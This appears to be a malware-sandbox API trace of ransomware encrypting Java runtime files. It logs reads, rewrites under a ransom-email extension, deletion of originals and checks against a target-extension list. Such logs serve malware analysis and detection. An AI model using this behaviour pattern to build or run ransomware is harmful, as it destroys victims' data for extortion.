	[0178.012] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.012] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.012] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0178.013] GetLastError () returned 0x0
	[0178.013] ReadFile (in: hFile=0x5c4, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x84e, lpOverlapped=0x0) returned 1
	[0178.015] WriteFile (in: hFile=0x5c8, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x850, lpOverlapped=0x0) returned 1
	[0178.016] ReadFile (in: hFile=0x5c4, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.016] WriteFile (in: hFile=0x5c8, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0178.016] SetEndOfFile (hFile=0x5c8) returned 1
	[0178.016] CloseHandle (hObject=0x5c8) returned 1
	[0178.016] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.016] SetEndOfFile (hFile=0x5c4) returned 1
	[0178.019] CloseHandle (hObject=0x5c4) returned 1
	[0178.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.019] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 1
	[0178.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0178.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0178.020] lstrlenW (lpString=".doc") returned 4
	[0178.020] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0178.020] lstrlenW (lpString=".docx") returned 5
	[0178.020] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0178.020] lstrlenW (lpString=".pdf") returned 4
	[0178.020] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0178.020] lstrlenW (lpString=".xls") returned 4
	[0178.020] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0178.020] lstrlenW (lpString=".xlsx") returned 5
	[0178.020] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0178.020] lstrlenW (lpString=".ppt") returned 4
	[0178.020] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0178.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0178.020] lstrlenW (lpString=".zip") returned 4
	[0178.020] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0178.020] lstrlenW (lpString=".rar") returned 4
	[0178.020] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0178.020] lstrlenW (lpString=".bz2") returned 4
	[0178.020] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0178.020] lstrlenW (lpString=".7z") returned 3
	[0178.020] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0178.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0178.021] lstrlenW (lpString=".dbf") returned 4
	[0178.021] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0178.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0178.021] lstrlenW (lpString=".1cd") returned 4
	[0178.021] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0178.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0178.021] lstrlenW (lpString=".jpg") returned 4
	[0178.021] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0178.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0178.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0178.021] lstrlenW (lpString=".doc") returned 4
	[0178.021] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0178.021] lstrlenW (lpString=".docx") returned 5
	[0178.021] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0178.021] lstrlenW (lpString=".pdf") returned 4
	[0178.021] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0178.021] lstrlenW (lpString=".xls") returned 4
	[0178.021] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0178.021] lstrlenW (lpString=".xlsx") returned 5
	[0178.021] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0178.021] lstrlenW (lpString=".ppt") returned 4
	[0178.021] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0178.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0178.021] lstrlenW (lpString=".zip") returned 4
	[0178.021] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0178.021] lstrlenW (lpString=".rar") returned 4
	[0178.021] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0178.021] lstrlenW (lpString=".bz2") returned 4
	[0178.021] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0178.021] lstrlenW (lpString=".7z") returned 3
	[0178.021] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0178.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0178.022] lstrlenW (lpString=".dbf") returned 4
	[0178.022] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0178.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0178.022] lstrlenW (lpString=".1cd") returned 4
	[0178.022] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0178.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0178.022] lstrlenW (lpString=".jpg") returned 4
	[0178.022] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0178.022] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0178.022] lstrlenW (lpString="net.properties") returned 14
	[0178.022] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0178.022] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=4464) returned 1
	[0178.022] CloseHandle (hObject=0x5c4) returned 1
	[0178.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20
	[0178.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.023] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0178.023] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.023] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.023] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0178.024] GetLastError () returned 0x0
	[0178.024] ReadFile (in: hFile=0x5c4, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x1170, lpOverlapped=0x0) returned 1
	[0178.026] WriteFile (in: hFile=0x5c8, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x1180, lpOverlapped=0x0) returned 1
	[0178.027] ReadFile (in: hFile=0x5c4, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.027] WriteFile (in: hFile=0x5c8, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xf0, lpOverlapped=0x0) returned 1
	[0178.027] SetEndOfFile (hFile=0x5c8) returned 1
	[0178.028] CloseHandle (hObject=0x5c8) returned 1
	[0178.028] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.028] SetEndOfFile (hFile=0x5c4) returned 1
	[0178.030] CloseHandle (hObject=0x5c4) returned 1
	[0178.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.031] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 1
	[0178.031] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0178.031] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0178.031] lstrlenW (lpString=".doc") returned 4
	[0178.031] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0178.031] lstrlenW (lpString=".docx") returned 5
	[0178.031] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0178.031] lstrlenW (lpString=".pdf") returned 4
	[0178.031] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0178.031] lstrlenW (lpString=".xls") returned 4
	[0178.031] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0178.031] lstrlenW (lpString=".xlsx") returned 5
	[0178.031] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0178.032] lstrlenW (lpString=".ppt") returned 4
	[0178.032] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0178.032] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0178.032] lstrlenW (lpString=".zip") returned 4
	[0178.032] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0178.032] lstrlenW (lpString=".rar") returned 4
	[0178.032] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0178.032] lstrlenW (lpString=".bz2") returned 4
	[0178.032] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0178.032] lstrlenW (lpString=".7z") returned 3
	[0178.032] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0178.032] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0178.032] lstrlenW (lpString=".dbf") returned 4
	[0178.032] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0178.032] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0178.032] lstrlenW (lpString=".1cd") returned 4
	[0178.032] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0178.032] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0178.032] lstrlenW (lpString=".jpg") returned 4
	[0178.032] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0178.032] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0178.032] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0178.032] lstrlenW (lpString=".doc") returned 4
	[0178.032] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0178.032] lstrlenW (lpString=".docx") returned 5
	[0178.032] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0178.032] lstrlenW (lpString=".pdf") returned 4
	[0178.032] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0178.032] lstrlenW (lpString=".xls") returned 4
	[0178.033] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0178.033] lstrlenW (lpString=".xlsx") returned 5
	[0178.033] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0178.033] lstrlenW (lpString=".ppt") returned 4
	[0178.033] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0178.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0178.033] lstrlenW (lpString=".zip") returned 4
	[0178.033] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0178.033] lstrlenW (lpString=".rar") returned 4
	[0178.033] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0178.033] lstrlenW (lpString=".bz2") returned 4
	[0178.033] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0178.033] lstrlenW (lpString=".7z") returned 3
	[0178.033] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0178.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0178.033] lstrlenW (lpString=".dbf") returned 4
	[0178.033] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0178.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0178.033] lstrlenW (lpString=".1cd") returned 4
	[0178.033] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0178.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0178.033] lstrlenW (lpString=".jpg") returned 4
	[0178.033] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0178.034] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0178.034] lstrlenW (lpString="plugin.jar") returned 10
	[0178.034] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0178.341] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=1923211) returned 1
	[0178.341] CloseHandle (hObject=0x5c0) returned 1
	[0178.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0x20
	[0178.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.342] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0178.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0178.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0178.342] lstrlenW (lpString=".doc") returned 4
	[0178.342] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0178.342] lstrlenW (lpString=".docx") returned 5
	[0178.342] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0178.342] lstrlenW (lpString=".pdf") returned 4
	[0178.342] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0178.342] lstrlenW (lpString=".xls") returned 4
	[0178.342] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0178.342] lstrlenW (lpString=".xlsx") returned 5
	[0178.342] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0178.342] lstrlenW (lpString=".ppt") returned 4
	[0178.342] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0178.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0178.342] lstrlenW (lpString=".zip") returned 4
	[0178.342] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0178.342] lstrlenW (lpString=".rar") returned 4
	[0178.342] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0178.342] lstrlenW (lpString=".bz2") returned 4
	[0178.342] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0178.342] lstrlenW (lpString=".7z") returned 3
	[0178.342] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0178.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0178.342] lstrlenW (lpString=".dbf") returned 4
	[0178.342] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0178.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0178.343] lstrlenW (lpString=".1cd") returned 4
	[0178.343] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0178.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0178.343] lstrlenW (lpString=".jpg") returned 4
	[0178.343] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0178.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0178.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0178.343] lstrlenW (lpString=".doc") returned 4
	[0178.343] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0178.343] lstrlenW (lpString=".docx") returned 5
	[0178.343] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0178.343] lstrlenW (lpString=".pdf") returned 4
	[0178.343] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0178.343] lstrlenW (lpString=".xls") returned 4
	[0178.343] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0178.343] lstrlenW (lpString=".xlsx") returned 5
	[0178.343] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0178.343] lstrlenW (lpString=".ppt") returned 4
	[0178.343] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0178.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0178.343] lstrlenW (lpString=".zip") returned 4
	[0178.343] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0178.343] lstrlenW (lpString=".rar") returned 4
	[0178.343] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0178.343] lstrlenW (lpString=".bz2") returned 4
	[0178.343] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0178.343] lstrlenW (lpString=".7z") returned 3
	[0178.343] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0178.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0178.343] lstrlenW (lpString=".dbf") returned 4
	[0178.343] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0178.344] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0178.344] lstrlenW (lpString=".1cd") returned 4
	[0178.344] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0178.344] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0178.344] lstrlenW (lpString=".jpg") returned 4
	[0178.344] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0178.344] lstrcmpiW (lpString1=".policy", lpString2=".html") returned 1
	[0178.344] lstrlenW (lpString="java.policy") returned 11
	[0178.344] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0178.345] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=2466) returned 1
	[0178.345] CloseHandle (hObject=0x5c0) returned 1
	[0178.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20
	[0178.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.345] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0178.346] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.346] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.346] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0178.346] GetLastError () returned 0x0
	[0178.346] ReadFile (in: hFile=0x5c0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x9a2, lpOverlapped=0x0) returned 1
	[0178.348] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x9b0, lpOverlapped=0x0) returned 1
	[0178.349] ReadFile (in: hFile=0x5c0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.349] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xea, lpOverlapped=0x0) returned 1
	[0178.349] SetEndOfFile (hFile=0x5b0) returned 1
	[0178.349] CloseHandle (hObject=0x5b0) returned 1
	[0178.349] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.349] SetEndOfFile (hFile=0x5c0) returned 1
	[0178.352] CloseHandle (hObject=0x5c0) returned 1
	[0178.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.353] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 1
	[0178.353] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0178.354] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0178.354] lstrlenW (lpString=".doc") returned 4
	[0178.354] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1
	[0178.354] lstrlenW (lpString=".docx") returned 5
	[0178.354] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1
	[0178.354] lstrlenW (lpString=".pdf") returned 4
	[0178.354] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1
	[0178.354] lstrlenW (lpString=".xls") returned 4
	[0178.354] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1
	[0178.354] lstrlenW (lpString=".xlsx") returned 5
	[0178.354] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1
	[0178.354] lstrlenW (lpString=".ppt") returned 4
	[0178.354] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1
	[0178.354] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0178.354] lstrlenW (lpString=".zip") returned 4
	[0178.354] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1
	[0178.354] lstrlenW (lpString=".rar") returned 4
	[0178.354] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1
	[0178.354] lstrlenW (lpString=".bz2") returned 4
	[0178.354] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1
	[0178.354] lstrlenW (lpString=".7z") returned 3
	[0178.354] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1
